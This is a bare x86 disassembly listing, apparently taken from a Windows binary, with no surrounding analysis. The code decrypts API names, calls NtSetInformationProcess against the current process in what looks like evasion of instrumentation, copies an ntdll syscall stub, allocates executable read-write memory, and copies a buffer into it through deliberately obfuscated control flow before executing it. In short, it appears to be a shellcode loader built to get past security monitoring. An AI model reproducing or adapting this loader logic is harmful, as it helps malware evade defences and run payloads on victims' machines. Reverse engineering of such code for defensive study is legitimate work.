mov dword [esi + 0xc4], eax
mov eax, dword [esi + 0x78]
mov dword [esi + 0xc0], eax
mov eax, dword [esi + 0x6c]
mov dword [esi + 0x2c], eax
mov dword [esi + 0xcc], eax
mov eax, dword [esi + 0x70]
mov dword [esi + 0x28], eax
mov dword [esi + 0xc8], eax
mov eax, ebx
mov dword [esi + 0x48], 0x47c
mov dword [esi + 0x4c], 0x47f
mov dword [esi + 0xc], 0
mov dword [esi + 0x8c], 0x47c
movaps xmm0, xmmword [esi + 0x10]
xorps xmm0, xmmword [eax]
movaps xmmword [esi + 0x10], xmm0
movaps xmm0, xmmword [esi + 0x20]
xorps xmm0, xmmword [eax + 0x10]
movaps xmmword [esi + 0x20], xmm0
cmp byte [0x44044c], 0
je 0x405be6
push str.NtSetInformationProcess
push dword [0x44045c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x405bf5
mov edi, eax
mov dword [esi + 0xb4], 0
mov dword [esi + 0xb0], 0
mov dword [esi + 0xb8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esi + 0x988], 0
push 0xc
push ebx
push 0x28
push eax
call edi
sar eax, 0x1f
and eax, 0xfffffffe
jmp 0x405bfa
mov eax, 0xfffffffa
mov dword [0x440448], eax
jmp 0x405dde
mov eax, 0xffffffff
mov dword [0x440448], eax
mov edi, dword [0x440450]
lea ebx, [esi + 0x10]
push ebx
push dword [0x44045c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x405c2e
push ebx
push dword [0x440460]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x405e26
cmp byte [eax], 0xb8
je 0x405c3d
cmp byte [eax + 5], 0xba
jne 0x405dde
mov ecx, dword [0x440450]
movsd xmm0, qword [eax]
movq xmm1, qword [eax + 7]
movq qword [ecx + 7], xmm1
movsd qword [ecx], xmm0
mov dword [0x440448], 0
mov dword [esi + 0x988], 0
lea eax, [esi + 0x8c]
lea ecx, [esi + 0xc]
push 0x40
push 0x1000
push eax
push 0
push ecx
push 0xffffffffffffffff
call edi
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x4c]
test eax, eax
je 0x405de1
cmp ecx, 0x10
jb 0x405c99
mov ecx, dword [esi + 0x38]
jmp 0x405c9c
lea ecx, [esi + 0x38]
mov dword [esi + 0x50], ecx
mov ecx, dword [esi + 0x48]
xor edi, edi
mov edx, 0x18be
mov dword [esi + 0x90], ecx
cmp edi, ecx
mov ecx, 0x4823
cmovb ecx, edx
mov dword [esi + 0xa0], ecx
mov edx, 0x29
mov ecx, dword [esi + 0xa0]
jmp 0x405cd5
mov edx, 0x4ae1
mov ebx, edx
cmp edx, 0x4822
jg 0x405d00
mov edx, ecx
cmp ebx, 0x29
je 0x405cd5
nop word cs:[eax + eax]
cmp ebx, 0x18be
jne 0x405d20
jmp 0x405d40
cmp ebx, 0x4823
je 0x405cd0
cmp ebx, 0x4ae1
je 0x405dd1
cmp ebx, 0x6784
je 0x405dc0
cmp ebx, 0x4822
jg 0x405d00
cmp ebx, 0x29
jne 0x405cf0
mov edx, ecx
jmp 0x405cd5
mov ecx, dword [esi + 0x50]
movzx edx, byte [ecx + edi]
mov byte [eax + edi], dl
cmp dword [0x440428], 0xa
mov edx, 0x6784
jl 0x405cc4
mov ecx, dword [0x44042c]
lea ebx, [ecx + 1]
imul ebx, ecx
and ebx, 1
je 0x405cc4
nop word cs:[eax + eax]
mov ecx, dword [esi + 0x50]
movzx ebx, byte [ecx + edi]
mov byte [eax + edi], bl
movzx ebx, byte [ecx + edi]
mov byte [eax + edi], bl
mov ecx, dword [0x44042c]
lea ebx, [ecx + 1]
imul ebx, ecx
and ebx, 1
cmp dword [0x440428], 0xa
jl 0x405cc4
test ebx, ebx
jne 0x405d80
jmp 0x405cc4
inc edi
mov ecx, dword [esi + 0x90]
mov edx, 0x18be
jmp 0x405caf
mov dword [esi + 0x988], 0
call dword [esi + 0xc]
mov ecx, dword [esi + 0x4c]
cmp ecx, 0x10
jb 0x405e12
mov eax, dword [esi + 0x38]
lea edi, [ecx + 1]
cmp edi, 0x1000
jb 0x405e08
mov edx, dword [eax - 4]
add eax, 0xfffffffc
sub eax, edx
cmp eax, 0x20
jae 0x405e30
add ecx, 0x24
mov edi, ecx
mov eax, edx
push edi
push eax
call fcn.00419457
add esp, 8
mov eax, dword [esi + 0x980]
mov dword fs:[0], eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 0xfffffffc
jmp 0x405beb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop word cs:[eax + eax]
push ebp
sub esp, 0x18
lea esi, [ebp - 0x98c]
mov ebp, dword [esi + 0x978]
lea ecx, [esi + 0x38]
call fcn.004012a0
add esp, 0x18
pop ebp
ret